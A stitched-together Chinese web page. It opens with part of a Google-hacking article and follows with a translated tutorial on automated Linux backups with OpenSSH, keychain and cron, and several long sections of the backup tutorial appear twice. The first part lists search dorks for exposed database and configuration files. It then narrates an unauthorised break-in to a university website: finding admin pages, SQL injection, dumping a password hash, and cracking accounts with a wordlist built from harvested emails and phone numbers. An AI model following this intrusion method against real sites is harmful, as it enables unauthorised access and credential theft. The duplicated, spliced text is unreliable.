前面我们已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下:

allinurl:bbsdata
filetype:mdbinurl:database
filetype:incconn
inurl:datafiletype:mdb
intitle:"indexof"data//在一些配置不正确的apache+win32的服务器上经常出现这种情况

和上面的原理一样,我们还可以用google来找后台,方法就略了,举一反三即可,毕竟我写这篇文章的目的是让大家了解googlehacking,而不是让你用google去破坏.安全是把双刃剑,关键在于你如何去运用.

利用google完全是可以对一个站点进行信息收集和渗透的,下面我们用google对特定站点进行一次测试。www.xxxx.com是全国著名大学之一,一次偶然的机会我决定对其站点进行一次测试(文中所涉及该学校的信息均已经过处理,请勿对号入座:).
首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
site:xxxx.com

从返回的信息中,找到几个该校的几个系院的域名:

http://a1.xxxx.com
http://a2.xxxx.com
http://a3.xxxx.com
http://a4.xxxx.com

顺便ping了一下,应该是在不同的服务器.(想想我们学校就那一台可怜的web服务器,大学就是有钱,汗一个)。学校一般都会有不少好的资料,先看看有什么好东西没:
site:xxxx.comfiletype:doc

得到N个不错的doc。先找找网站的管理后台地址:
site:xxxx.comintext:管理
site:xxxx.cominurl:login
site:xxxx.comintitle:管理

超过获得2个管理后台地址:
http://a2.xxxx.com/sys/admin_login.asp
http://a3.xxxx.com:88/_admin/login_in.asp

还算不错,看看服务器上跑的是什么程序:
site:a2.xxxx.comfiletype:asp
site:a2.xxxx.comfiletype:php
site:a2.xxxx.comfiletype:aspx
site:a3.xxxx.comfiletype:asp
site:…….
……

a2服务器用的应该是IIS,上面用的是asp的整站程序,还有一个php的论坛
a3服务器也是IIS,aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的:
site:a2.xxxx.comintext:ftp://*:*

没找到什么有价值的东西。再看看有没有上传一类的漏洞:
site:a2.xxxx.cominurl:file
site:a3.xxxx.cominurl:load

在a2上发现一个上传文件的页面:
http://a2.xxxx.com/sys/uploadfile.asp

用IE看了一下,没权限访问。试试注射,
site:a2.xxxx.comfiletype:asp

得到N个asp页面的地址,体力活就让软件做吧,这套程序明显没有对注射做什么防范,dbowner权限,虽然不高但已足矣,backashell我不太喜欢,而且看起来数据库的个头就不小,直接把web管理员的密码暴出来再说,MD5加密过。一般学校的站点的密码都比较有规律,通常都是域名+电话一类的变形,用google搞定吧。

site:xxxx.com//得到N个二级域名
site:xxxx.comintext:*@xxxx.com//得到N个邮件地址,还有邮箱的主人的名字什么的
site:xxxx.comintext:电话//N个电话

把什么的信息做个字典吧,挂上慢慢跑。过了一段时间就跑出4个帐号,2个是学生会的,1个管理员,还有一个可能是老师的帐号。登陆上去:
name:网站管理员
pass:a2xxxx7619//说了吧,就是域名+4个数字

要再怎么提权那就不属于本文讨论访问了,呵呵,到此为止。

关于googlehacking的防范

以前我们站的晓风·残月写过一篇躲避google的文章,原理就是通过在站点根目录下建立一个robots.txt以避免网络机器人获得一些敏感的信息,具体大家看原文章:
http://www.4ngel.net/article/26.htm

不过这种方法我个人不推荐,有点此地无银三百两的味道。简单一点的方法就是上google把自己站点的一些信息删除掉,访问这个URL:
http://www.google.com/remove.html

前几天看见又有人讨论用程序来欺骗robot的方法,我觉得可以试试,代码如下:

if(strstr($_SERVER['HTTP_USER_AGENT'],"Googlebot"))
{
  header("HTTP/1.1301");
  header("Location:http://www.google.com");
}
?>

后记

这段时间在国外的一些googlehack的研究站点看了看,其实也都差不多是一些基本语法的灵活运用,或者配合某个脚本漏洞,主要还是靠个人的灵活思维。国外对于googlehack方面的防范也并不是很多,所以大家还是点到为止,不要去搞破坏拉,呵呵。对于一些在win上跑
apache的网管们应该多注意一下这方面,一个intitle:indexof就差不多都出来了:)

 

重要数据的丢失可能意味着致命的破坏。尽管如此,还是有无数专业人员忽视了对他们的数据的备份。虽然原因可能各不相同,但是,最常见的一个解释是,执行例行备份确实烦琐。由于机器擅长于完成普通而重复的任务,因此,自动化备份的过程是降低工作内在的枯燥性和人们与生俱来的拖延倾向的关键所在。
如果您使用 Linux,那么您就已经可以使用那些创建定制备份解决方案的极其强大的工具。本文中的方案,可以让您使用几乎每个 Linux 发行版本都附带的开放源代码工具来执行从简单的到更高级而且安全的网络备份。

简单备份

本文按照一步一步的方法来进行讲述,只要您遵循那些基本的步骤,此方法会是非常直观的。
在研究更高级的分布式备份解决方案之前,让我们首先来看一个简单而强大的存档机制。让我们来分析一个名为 arc 的方便的脚本,它可以让我们在 Linux shell 提示符中创建备份快照。

清单 1. arc shell 脚本

#!/bin/sh
   tar czvf $1.$(date +%Y%m%d%-H%M%S).tgz $1
   exit $?



arc 脚本接收一个单独的文件或目录名作为参数,创建一个压缩的存档文件,同时将当前日期嵌入到生成的存档文件的名字之中。例如,如果您有一个名为 beoserver 的目录,您可以调用 arc 脚本,将 beoserver 目录名传递给它以创建一个压缩的存档文件,如: beoserver.20040321-014844.tgz

使用 date 命令是为了嵌入一个日期和时间戳以帮助您组织存档文件。日期的格式是年、月、日、小时、分、秒 —— 虽然秒域的使用有一些多余。查看 data 命令的手册( man date)来了解其他选项。另外,在清单 1 中,我们向 tar 传递了 -v(verbose)选项。这就使得 tar 显示出它正在存档的文件。如果您喜欢静默地进行备份,那么删除这个 -v 选项。

清单 2. 存档 beoserver 目录

$ ls
   arc  beoserver
   $ ./arc beoserver
   beoserver/
   beoserver/bookl.dat
   beoserver/beoserver_ab_off
   beoserver/beoserver_ab_on
   $ ls
   arc  beoserver  beoserver.20040321-014844.tgz



高级备份

这个简单备份是实用的;不过,它仍然包含一个人工备份的过程。行业最佳经验通常建议将数据备份到多个媒体上,并备份到分开的不同地理位置。中心思想是避免依赖于任何一个单独的存储媒体或单独的位置。

在下一个例子中我们将应对这一挑战,我们将分析一个如图 1 所示的假想的分布式网络,它展示了对两台远程服务器和一台离线存储服务器的系统管理。



图 1. 分布式网络

服务器 #1 和 #2 上的备份文件将安全地传输到离线存储服务器上,而且整个分布式备份过程将在没有人工干涉的情况下定期进行。我们将使用一组标准的工具(开放安全 shell 工具套件(OpenSSH)的一部分),以及磁带存档器(tar)和 cron 任务调度服务。我们的全部计划是,使用 cron 进行调度,使用 shell 程序和 tar 应用程序完成备份过程,使用 OpenSSH 安全 shell(ssh)加密进行远程访问、认证、安全 shell 拷贝(scp)以自动完成文件传输。要获得另外的资料请务必查看每个工具的手册。

使用公钥/私钥进行安全的远程访问

在数字安全的上下文中,密钥(key)指的是用来加密或解密其他数据片断的一个数据片断。公钥私钥模式的有趣之处在于,使用公钥加密的数据,只有用相应的私钥才可以解密。您可以自由地发布一个公钥,这样别人就可以对发送给您的消息进行加密。公钥/私钥模式彻底改变了数字安全的原因之一是,发送者和接收者不必再共享一个通用的密码。除了其他方面的贡献,公钥/私钥加密使用电子商务和其他安全传输成为可能。在本文中,我们将创建并使用公钥和私钥来创建一个非常安全的分布式备份解决方案。

要进行备份过程的每台机器都必须运行 OpenSSH 安全 shell 服务(sshd),同时让 22 端口可以通过任何内部防火墙被访问。如果您访问远程的服务器,那么很有可能您正在使用安全 shell。

我们的目标将是,不需要人工提供密码就可以安全地访问机器。一些人认为最简单的办法是设置无密码的访问:不要这样做。这样做不安全。不用那样,本文中我们将使用的方法可能会占用您大约一个小时的时间,建立起一个与使用“无密码”帐号同样方便的系统 —— 不过它是公认非常安全的。

让我们首先确保 OpenSSH 已经安装,接下来查看它的版本号。完成本文时,最新的发行的 OpenSSH 是 2004 年 2 月 24 日发布的版本 3.8。您应该考虑使用一个较新的而且稳定的发布版本,至少所用的版本应该要比版本 2.x 新。访问 OpenSSH Security 网页以获得关于特定旧版本的缺陷的细节。到目前为止,OpenSSH 是非常稳定的,而且已经证明不存在其他 SSH 工具所报告的很多缺陷。

在 shell 提示符中,输入 ssh 并给出重要的 V 选项来检查版本号:
$ ssh -V
OpenSSH_3.5p1, SSH protocols 1.5/2.0, OpenSSL 0×0090701f

如果 ssh 返回的版本号大于 2.x,则机器处于相对良好的状态。无论如何,建议您所有的软件都使用最新的稳定版本,这对于安全相关的软件来说尤其重要。

我们的第一个步骤是,使用将会有特权访问服务器 1 和 2 的帐号登录到离线存储服务器机器(见图 1)。
$ ssh accountname@somedomain.com

登录到离线存储服务器以后,使用 ssh-keygen 程序并给出 -t dsa 选项来创建一个公钥/密钥对。 -t 选项是必须的,用来指定我们要生成的密钥类型。我们将使用数字签名算法(Digital Signature Algorithm,DSA),它让我们可以使用更新的 SSH2 协议。参阅 ssh-keygen 手册以获得更多细节。

在 ssh-keygen 执行的过程中,在询问您口令(passphrase)之前,将提示您输入 ssh 密钥存储的位置。当询问在何处存储密钥时只需要按下回车键,然后 ssh-keygen 程序将创建一个名为 .ssh 的隐藏目录(如果原来不存在),以及两个文件,一个公钥文件和一个私钥文件。

ssh-keygen 的一个有趣特性是,当提示输入一个口令时,它让您可以只是简单地按下回车键。如果您没有给出口令,那么 ssh-keygen 将生成没有加密的密钥!如您所想,这不是个好主意。当要求输入口令时,确保输入一个足够长的字符消息,最好包含混合字符而不仅仅是一个简单的密码字符串。

清单 3. 永远选择好的口令

[offsite]:$ ssh-keygen -t dsa
   Generating public/private dsa key pair.
   Enter file in which to save the key (/home/accountname/.ssh/id_dsa):
   Enter passphrase (empty for no passphrase): (enter passphrase)
   Enter same passphrase again: (enter passphrase)
   Your identification has been saved in /home/accountname/.ssh/id_dsa.
   Your public key has been saved in /home/accountname/.ssh/id_dsa.pub.
   The key fingerprint is:
   7e:5e:b2:f2:d4:54:58:6a:fa:6b:52:9c:da:a8:53:1b accountname@offsite



由于 ssh-keygen 生成的 .ssh 目录是一个隐藏的“dot”目录,所以要给 ls 命令传入一个 -a 选项来查看新创建的目录:

[offsite]$ ls -a
. .. .bash_logout .bash_profile .bashrc .emacs .gtkrc .ssh



进入隐藏的 .ssh 目录并列出其内容:

[offsite]$ cd .ssh
[offsite]$ ls -lrt
id_dsa id_dsa.pub



现在,在隐藏的 .ssh 目录中,我们已经拥有了一个私钥(id_dsa)和一个公钥(id_dsa.pub)。您可以使用 vi 或 emacs 等文本编辑工具或者简单地使用 less 或 cat 命令来分析每个密钥文件的内容。您将看到由混合字符构成的内容已经经过了 base64 编码。

然后,我们需要将公钥拷贝并安装到服务器 1 和 2 上。不要使用 ftp。更合理的是,使用安全拷贝程序来将公钥传送到每一台远程机器上。

清单 4. 将公钥安装到远程服务器上

[offsite]$ scp .ssh/id_dsa.pub accountname@server1.com:offsite.pub
   accountname@server1.com's password: (enter password, not new
   passphrase!)
   id_dsa.pub 100% |*****************************| 614 00:00

   [offsite]$ scp .ssh/id_dsa.pub accountname@server2.com:offsite.pub
   accountname@server2.com's password: (enter password, not new
   passphrase!)
   id_dsa.pub 100% |*****************************| 614 00:00



在安装完新的公钥后,我们就可以使用创建私钥和公钥时指定的口令来登录到每一台机器。现在,登录到每台机器,并将 offsite.pub 文件的内容附加到一个名为 authorized_keys 的文件中,这个文件存储在每台远程机器的 .ssh 目录下。我们可以使用一个文本编辑器或者简单地使用 cat 命令来将 offsite.pub 文件的内容附加到 authorized_keys 文件:

清单 5. 将 offsite.pub 添加到已授权密钥列表

[offsite]$ ssh accountname@server1.com
   accountname@server1.com's password: (enter password, not new
   passphrase!)
   [server1]$ cat offsite.pub >> ./ssh/authorized_keys



接下来的步骤是考虑一些额外的安全性。首先,我们修改 .ssh 的访问权限,以使得只有所有者有读、写和执行的权限。然后,我们确保 authorized_keys 文件只能由所有者来访问。最后,将先前上传的 offsite.pub 密钥文件删除,因为再也不需要它了。确保设置适当的访问权限很重要,因为 OpenSSH 服务器可能会拒绝使用具有不安全访问权限的密钥。

清单 6. 使用 chmod 修改权限

[server1]$ chmod 700 .ssh
   [server1]$ chmod 600 ./ssh/authorized_keys
   [server1]$ rm offsite.pub
   [server1]$ exit



在服务器 2 上完成同样的步骤后,我们就可以返回到离线存储机器上来测试新的口令类型的访问。在离线服务器上您可以输入下面的内容:
[offsite]$ ssh -v accountname@server1.com

在检验您的帐号现在可以使用新的口令而不是原来的密码来访问远程的服务器时,使用 -v 或 verbose 标记选项来显示调试信息。调试输出除了能让您在一个高的层面上观察到认证过程是如何工作的之外,还可以显示出您可以以其他方式无法得到的重要信息。在以后的连接中您可能并不需要指定 -v 标记;但是在测试连接时它相当有用。

使用 ssh-agent 自动化机器访问

ssh-agent 程序如同一个看门人,它根据需要安全地提供对安全密钥的访问。ssh-agent 启动后,它就会在后台运行,并且可以由 ssh 和 scp 程序等其他 OpenSSH 应用程序所使用。这就使得 ssh 程序可以请求一个已经解密了的密钥,而不是在每次需要时向您询问私钥的安全口令。

让我们来仔细研究一下 ssh -agent。ssh-agent 运行时它会输出 shell 命令:

清单 7. ssh-agent 应用

[offsite]$ ssh-agent
   SSH_AUTH_SOCK=/tmp/ssh-XX1O24LS/agent.14179; export SSH_AUTH_SOCK;
   SSH_AGENT_PID=14180; export SSH_AGENT_PID;
   echo Agent pid 14180;



我们可以使用 shell 的 eval 命令来让 shell 执行 ssh-agent 显示的输出命令:

[offsite]$ eval `ssh-agent`
Agent pid 14198



eval 命令告诉 shell 去评价(执行)ssh-agent 程序生成的命令。确保您指定的是反引号(`)而不是单引号!执行后,eval `ssh-agent` 语句将返回代理的进程标识符。在幕后,SSH_AUTH_SOCK 和 SSH_AGENT_PID shell 变量已经被导出而可以使用。您可以将它们显示在 shell 控制台中来查看它们的值:

[offsite]$ echo $SSH_AUTH_SOCK
/tmp/ssh-XX7bhIwq/agent.14197



$SSH_AUTH_SOCK (SSH Authentication Socket 的缩写)是一个本地套接字的位置,应用程序可以通过它来与 ssh-agent 通信。将 eval `ssh-agent` 语句加入到您的 ~/.bash_profile 文件以确保 SSH_AUTH_SOCK 和 SSH_AGENT_PID 始终被注册。
ssh-agent 现在就已经成为一个后台进程,可以用 top 和 ps 命令查看得到。

现在我们就已经可以使用 ssh-agent 共享我们的口令。为此,我们必须使用一个名为 ssh-add 的程序,这个程序将我们的口令添加(发送)到运行着的 ssh-agent 程序。

清单 8. 用于免口令登录的 ssh-add

[offsite]$ ssh-add
   Enter passphrase for /home/accountname/.ssh/id_dsa: (enter passphrase)
   Identity added: /home/accountname/.ssh/id_dsa
   (/home/accountname/.ssh/id_dsa)



现在,当我们访问 server1 时,不会再被提示输入口令:
[offsite]$ ssh accountname@server1.com
[server1]$ exit

如果您还不相信,那么尝试去掉(kill -9)ssh-agent 进程,然后重新连接 server1。这一次,您将注意到,server1 将会询问存储在

.ssh 目录下 id_dsa 中的私钥的口令:
[offsite]$ kill -9 $SSH_AGENT_PID
[offsite]$ ssh accountname@server1.com
Enter passphrase for key '/home/accountname/.ssh/id_dsa':



使用 keychain 简化密钥访问

到现在为止,我们已经了解了几个 OpenSSH 程序(ssh、scp、ssh-agent 和 ssh-add),而且我们已经创建并安装了私钥和公钥来启用一个安全而且自动的登录过程。您可能已经意识到,大部分设置工作只需要进行一次。例如,创建密钥、安装密钥、通过 .bash_profile 执行 ssh-agent 的过程在每台机器只需要进行一次。那真是好消息。

不太理想的消息是,我们每次登录到离线的机器上时,都必须调用 ssh-add,而且,ssh-agent 与我们将要用来自动化备份工作的 cron 调度进程并不直接兼容。cron 进程不能与 ssh-agent 通信的原因是,cron 作业是作为 cron 的子进程来执行,这样它们就不会继承 $SSH_AUTH_SOCK shell 变量。

幸运的是,有一个解决方案不但可以消除 ssh-agent 和 ssh-add 的局限,而且可以让我们使用 cron 来自动进行各种需要对其他机器进行安全地无密码访问的过程。在他 2001 年发表的三篇 developerWorks 系列文章中,即 OpenSSH key management,Daniel Robbins 介绍了一个名为 keychain 的 shell 脚本,它是 ssh-add 和 ssh-agent 的一个前端,简化了整个无密码的过程。随着时间的过去,keychain 脚本已经经历了很多改进,现在由 Aron Griffis 维护,其最新的 2.3.2-1 发布版本公布于 2004 年 6 月 17 日。

keychain shell 脚本太长以致于无法在本文中列出,因为精心编写的脚本中包括了很多错误检测、丰富的文档以及非常多的跨平台代码。不过,keychain 可以自项目的 Web 站点上方便地下载得到。

下载并安装了 keychain 后,使用它就很简单了。只需要登录到每台机器并将下面两行添加到每个 .bash_profile 文件:
keychain id_dsa
. ~/.keychain/$HOSTNAME-sh

在您第一次重新登录到每台机器时,keychain 将向您询问口令。不过,除非机器被重新启动,否则,以后再登录时,keychain 将不会再要求您重新输入口令。最好的是,cron 任务现在可以使用 OpenSSH 命令来安全地访问远程的机器,而不需要交互地使用口令。更好的安全和更容易的使用,现在我们已经兼得。

清单 9. 在每台机器上初始化

KeyChain 2.3.2; http://www.gentoo.org/projects/keychain
   Copyright 2002-2004 Gentoo Technologies, Inc.; Distributed under the
   GPL

   * Initializing /home/accountname/.keychain/localhost.localdomain-sh
   file...
   * Initializing /home/accountname/.keychain/localhost.localdomain-csh
   file...
   * Starting ssh-agent
   * Adding 1 key(s)...
   Enter passphrase for /home/accountname/.ssh/id_dsa: (enter passphrase)


 


使用 ssh-agent 自动化机器访问

ssh-agent 程序如同一个看门人,它根据需要安全地提供对安全密钥的访问。ssh-agent 启动后,它就会在后台运行,并且可以由 ssh 和 scp 程序等其他 OpenSSH 应用程序所使用。这就使得 ssh 程序可以请求一个已经解密了的密钥,而不是在每次需要时向您询问私钥的安全口令。

让我们来仔细研究一下 ssh -agent。ssh-agent 运行时它会输出 shell 命令:

清单 7. ssh-agent 应用

[offsite]$ ssh-agent
   SSH_AUTH_SOCK=/tmp/ssh-XX1O24LS/agent.14179; export SSH_AUTH_SOCK;
   SSH_AGENT_PID=14180; export SSH_AGENT_PID;
   echo Agent pid 14180;



我们可以使用 shell 的 eval 命令来让 shell 执行 ssh-agent 显示的输出命令:

[offsite]$ eval `ssh-agent`
Agent pid 14198



eval 命令告诉 shell 去评价(执行)ssh-agent 程序生成的命令。确保您指定的是反引号(`)而不是单引号!执行后,eval `ssh-agent` 语句将返回代理的进程标识符。在幕后,SSH_AUTH_SOCK 和 SSH_AGENT_PID shell 变量已经被导出而可以使用。您可以将它们显示在 shell 控制台中来查看它们的值:

[offsite]$ echo $SSH_AUTH_SOCK
/tmp/ssh-XX7bhIwq/agent.14197



$SSH_AUTH_SOCK (SSH Authentication Socket 的缩写)是一个本地套接字的位置,应用程序可以通过它来与 ssh-agent 通信。将 eval `ssh-agent` 语句加入到您的 ~/.bash_profile 文件以确保 SSH_AUTH_SOCK 和 SSH_AGENT_PID 始终被注册。
ssh-agent 现在就已经成为一个后台进程,可以用 top 和 ps 命令查看得到。

现在我们就已经可以使用 ssh-agent 共享我们的口令。为此,我们必须使用一个名为 ssh-add 的程序,这个程序将我们的口令添加(发送)到运行着的 ssh-agent 程序。

清单 8. 用于免口令登录的 ssh-add

[offsite]$ ssh-add
   Enter passphrase for /home/accountname/.ssh/id_dsa: (enter passphrase)
   Identity added: /home/accountname/.ssh/id_dsa
   (/home/accountname/.ssh/id_dsa)



现在,当我们访问 server1 时,不会再被提示输入口令:
[offsite]$ ssh accountname@server1.com
[server1]$ exit

如果您还不相信,那么尝试去掉(kill -9)ssh-agent 进程,然后重新连接 server1。这一次,您将注意到,server1 将会询问存储在

.ssh 目录下 id_dsa 中的私钥的口令:
[offsite]$ kill -9 $SSH_AGENT_PID
[offsite]$ ssh accountname@server1.com
Enter passphrase for key '/home/accountname/.ssh/id_dsa':



使用 keychain 简化密钥访问

到现在为止,我们已经了解了几个 OpenSSH 程序(ssh、scp、ssh-agent 和 ssh-add),而且我们已经创建并安装了私钥和公钥来启用一个安全而且自动的登录过程。您可能已经意识到,大部分设置工作只需要进行一次。例如,创建密钥、安装密钥、通过 .bash_profile 执行 ssh-agent 的过程在每台机器只需要进行一次。那真是好消息。

不太理想的消息是,我们每次登录到离线的机器上时,都必须调用 ssh-add,而且,ssh-agent 与我们将要用来自动化备份工作的 cron 调度进程并不直接兼容。cron 进程不能与 ssh-agent 通信的原因是,cron 作业是作为 cron 的子进程来执行,这样它们就不会继承 $SSH_AUTH_SOCK shell 变量。

幸运的是,有一个解决方案不但可以消除 ssh-agent 和 ssh-add 的局限,而且可以让我们使用 cron 来自动进行各种需要对其他机器进行安全地无密码访问的过程。在他 2001 年发表的三篇 developerWorks 系列文章中,即 OpenSSH key management,Daniel Robbins 介绍了一个名为 keychain 的 shell 脚本,它是 ssh-add 和 ssh-agent 的一个前端,简化了整个无密码的过程。随着时间的过去,keychain 脚本已经经历了很多改进,现在由 Aron Griffis 维护,其最新的 2.3.2-1 发布版本公布于 2004 年 6 月 17 日。

keychain shell 脚本太长以致于无法在本文中列出,因为精心编写的脚本中包括了很多错误检测、丰富的文档以及非常多的跨平台代码。不过,keychain 可以自项目的 Web 站点上方便地下载得到。

下载并安装了 keychain 后,使用它就很简单了。只需要登录到每台机器并将下面两行添加到每个 .bash_profile 文件:
keychain id_dsa
. ~/.keychain/$HOSTNAME-sh

在您第一次重新登录到每台机器时,keychain 将向您询问口令。不过,除非机器被重新启动,否则,以后再登录时,keychain 将不会再要求您重新输入口令。最好的是,cron 任务现在可以使用 OpenSSH 命令来安全地访问远程的机器,而不需要交互地使用口令。更好的安全和更容易的使用,现在我们已经兼得。

清单 9. 在每台机器上初始化

KeyChain 2.3.2; http://www.gentoo.org/projects/keychain
   Copyright 2002-2004 Gentoo Technologies, Inc.; Distributed under the
   GPL

   * Initializing /home/accountname/.keychain/localhost.localdomain-sh
   file...
   * Initializing /home/accountname/.keychain/localhost.localdomain-csh
   file...
   * Starting ssh-agent
   * Adding 1 key(s)...
   Enter passphrase for /home/accountname/.ssh/id_dsa: (enter passphrase)


 



脚本化备份过程

我们的下一个任务是创建执行必要的备份过程的 shell 脚本。目标是执行服务器 1 和 2 的完全数据库备份。在我们的例子中,每个服务器都运行着 MySQL 数据库服务器,我们使用 mysqldump 命令行工具来将一些数据库表导出到一个 SQL 输入文件中。

清单 10. 服务器 1 的 dbbackup.sh shell 脚本

#!/bin/sh

   # change into the backup_agent directory where data files are stored.
   cd /home/backup_agent

   # use mysqldump utility to export the sites database tables
   mysqldump -u sitedb -pG0oDP@sswrd --add-drop-table sitedb --tables
   tbl_ccode tbl_machine tbl_session tbl_stats > userdb.sql

   # compress and archive
   tar czf userdb.tgz userdb.sql



在服务器 2 上,我们将设置一个类似的脚本来备份站点数据库中给出的独有表单。每个脚本都通过下面的步骤标记为可执行的:
[server1]:$ chmod +x dbbackup.sh

在服务器 1 和 2 上设置了 dbbackup.sh 后,我们返回到离线的数据服务器,在那里我们将创建一个 shell 脚本来调用各个远程 dbbackup.sh 脚本并随后传输压缩的(.tgz)数据文件。

清单 11. 用在离线的数据服务器上的 backup_remote_servers.sh shell 脚本

#!/bin/sh

   # use ssh to remotely execute the dbbackup.sh script on server 1
   /usr/bin/ssh backup_agent@server1.com "/home/backup_agent/dbbackup.sh"

   # use scp to securely copy the newly archived userdb.tgz file
   # from server 1.  Note the use of the date command to timestamp
   # the file on the offsite data server.
   /usr/bin/scp backup_agent@server1.com:/home/backup_agent/userdb.tgz
   /home/backups/userdb-$(date +%Y%m%d-%H%M%S).tgz

   # execute dbbackup.sh on server 2
   /usr/bin/ssh backup_agent@server2.com "/home/backup_agent/dbbackup.sh"

   # use scp to transfer transdb.tgz to offsite server.
   /usr/bin/scp backup_agent@server2.com:/home/backup_agent/transdb.tgz
   /home/backups/transdb-$(date +%Y%m%d-%H%M%S).tgz



backup_remote_servers.sh shell 脚本使用 ssh 命令来执行远程服务器上的脚本。由于我们已经设置的无密码的访问,ssh 命令可以通过离线的服务器在服务器 1 和 2 上远程地执行命令。感谢 keychain,整个认证过程现在可以自动完成。

调度

我们的下一个步骤,也是最后一个步骤,是调度 backup_remote_servers.sh shell 脚本在离线的数据存储服务器上的执行。我们将向 cron 调度服务器中添加两个条目,以要求每天执行备份脚本两次,3:34 执行一次,8:34 再执行一次。在离线的服务器上使用 edit(-e)选项调用 crontab 程序。
[offsite]:$ crontab -e

crontab 调用 VISUAL 或 EDITOR shell 环境变量所指定的默认的编辑器。然后,输入两个条目并保存和关闭文件。

清单 12. 离线的服务器上的 Crontab 条目
34 3 * * * /home/backups/remote_db_backup.sh
34 20 * * * /home/backups/remote_db_backup.sh

一个 crontab 行包括两个主要部分,时间表部分和后面的命令部分。时间表分为多个域,用来指定一个命令应该何时执行:

清单 13. Crontab 格式

+---- minute
          | +----- hour
          | | +------ day of the month
          | | | +------ month
          | | | | +---- day of the week
          | | | | | +-- command to execute
          | | | | | |
         34 3 * * * /home/backups/remote_db_backup.sh



检验您的备份

您应该对备份进行例行地检查,以确保程序正确进行。自动程序可以使烦琐的工作得到避免,但是永远不能因此而懒惰。如果您的数据值得备份,那么它也值得您时常进行抽样检查。

考虑添加一个 cron 作业来提醒您自己至少每个月对备份进行一次检查。另外,经常修改安全密钥也是一个好主意,同样您也可以调度一个 cron 作业来提醒您做这件事。

另外的安全防范

要获得更高的安全性,可以考虑在每台机器上安装并配置一个入侵检测系统(ntrusion Detection System,IDS),比如 Snort。可以预见,当入侵正在发生或者近期发生过时,IDS 将会通知您。IDS 到位后,您将可以添加其他层次上的安全,比如对您的备份进行数字签名和加密。

GNU Privacy Guard(GnuPG)、OpenSSL 和 ncrypt 等流行的开放源代码工具可以支持通过 shell 脚本对存档文件进行加密,不过不建议在没有 IDS 提供的额外层次保护的情况下这样做。

结束语

本文向您展示了如何让您的脚本在远程服务器执行以及如何执行安全自动的文件传输。我希望您能由此得到灵感而开始考虑保护您自己的重要数据,并使用 OpenSSH 和 Snort 等开放源代码工具来构建新的解决方案。

关于作者

Carlos Justiniano 是 Ecuity, Inc 的一名软件设计师。他所感兴趣的方面包括通信和分布式计算。Carlos 为很多技术杂志撰写文章。他还是基于 Linux 的 ChessBrain 项目的奠基人和设计师,那个项目赢得了与分布式计算相关的 2005 Guinness World Record。您可以通过 carlos.justiniano@ecuityinc.com 与他联系。

脚本化备份过程

我们的下一个任务是创建执行必要的备份过程的 shell 脚本。目标是执行服务器 1 和 2 的完全数据库备份。在我们的例子中,每个服务器都运行着 MySQL 数据库服务器,我们使用 mysqldump 命令行工具来将一些数据库表导出到一个 SQL 输入文件中。

清单 10. 服务器 1 的 dbbackup.sh shell 脚本

#!/bin/sh

   # change into the backup_agent directory where data files are stored.
   cd /home/backup_agent

   # use mysqldump utility to export the sites database tables
   mysqldump -u sitedb -pG0oDP@sswrd --add-drop-table sitedb --tables
   tbl_ccode tbl_machine tbl_session tbl_stats > userdb.sql

   # compress and archive
   tar czf userdb.tgz userdb.sql



在服务器 2 上,我们将设置一个类似的脚本来备份站点数据库中给出的独有表单。每个脚本都通过下面的步骤标记为可执行的:
[server1]:$ chmod +x dbbackup.sh

在服务器 1 和 2 上设置了 dbbackup.sh 后,我们返回到离线的数据服务器,在那里我们将创建一个 shell 脚本来调用各个远程 dbbackup.sh 脚本并随后传输压缩的(.tgz)数据文件。

清单 11. 用在离线的数据服务器上的 backup_remote_servers.sh shell 脚本

#!/bin/sh

   # use ssh to remotely execute the dbbackup.sh script on server 1
   /usr/bin/ssh backup_agent@server1.com "/home/backup_agent/dbbackup.sh"

   # use scp to securely copy the newly archived userdb.tgz file
   # from server 1.  Note the use of the date command to timestamp
   # the file on the offsite data server.
   /usr/bin/scp backup_agent@server1.com:/home/backup_agent/userdb.tgz
   /home/backups/userdb-$(date +%Y%m%d-%H%M%S).tgz

   # execute dbbackup.sh on server 2
   /usr/bin/ssh backup_agent@server2.com "/home/backup_agent/dbbackup.sh"

   # use scp to transfer transdb.tgz to offsite server.
   /usr/bin/scp backup_agent@server2.com:/home/backup_agent/transdb.tgz
   /home/backups/transdb-$(date +%Y%m%d-%H%M%S).tgz



backup_remote_servers.sh shell 脚本使用 ssh 命令来执行远程服务器上的脚本。由于我们已经设置的无密码的访问,ssh 命令可以通过离线的服务器在服务器 1 和 2 上远程地执行命令。感谢 keychain,整个认证过程现在可以自动完成。

调度

我们的下一个步骤,也是最后一个步骤,是调度 backup_remote_servers.sh shell 脚本在离线的数据存储服务器上的执行。我们将向 cron 调度服务器中添加两个条目,以要求每天执行备份脚本两次,3:34 执行一次,8:34 再执行一次。在离线的服务器上使用 edit(-e)选项调用 crontab 程序。
[offsite]:$ crontab -e

crontab 调用 VISUAL 或 EDITOR shell 环境变量所指定的默认的编辑器。然后,输入两个条目并保存和关闭文件。

清单 12. 离线的服务器上的 Crontab 条目
34 3 * * * /home/backups/remote_db_backup.sh
34 20 * * * /home/backups/remote_db_backup.sh

一个 crontab 行包括两个主要部分,时间表部分和后面的命令部分。时间表分为多个域,用来指定一个命令应该何时执行:

清单 13. Crontab 格式

+---- minute
          | +----- hour
          | | +------ day of the month
          | | | +------ month
          | | | | +---- day of the week
          | | | | | +-- command to execute
          | | | | | |
         34 3 * * * /home/backups/remote_db_backup.sh



检验您的备份

您应该对备份进行例行地检查,以确保程序正确进行。自动程序可以使烦琐的工作得到避免,但是永远不能因此而懒惰。如果您的数据值得备份,那么它也值得您时常进行抽样检查。

考虑添加一个 cron 作业来提醒您自己至少每个月对备份进行一次检查。另外,经常修改安全密钥也是一个好主意,同样您也可以调度一个 cron 作业来提醒您做这件事。

另外的安全防范

要获得更高的安全性,可以考虑在每台机器上安装并配置一个入侵检测系统(ntrusion Detection System,IDS),比如 Snort。可以预见,当入侵正在发生或者近期发生过时,IDS 将会通知您。IDS 到位后,您将可以添加其他层次上的安全,比如对您的备份进行数字签名和加密。

GNU Privacy Guard(GnuPG)、OpenSSL 和 ncrypt 等流行的开放源代码工具可以支持通过 shell 脚本对存档文件进行加密,不过不建议在没有 IDS 提供的额外层次保护的情况下这样做。

结束语

本文向您展示了如何让您的脚本在远程服务器执行以及如何执行安全自动的文件传输。我希望您能由此得到灵感而开始考虑保护您自己的重要数据,并使用 OpenSSH 和 Snort 等开放源代码工具来构建新的解决方案。

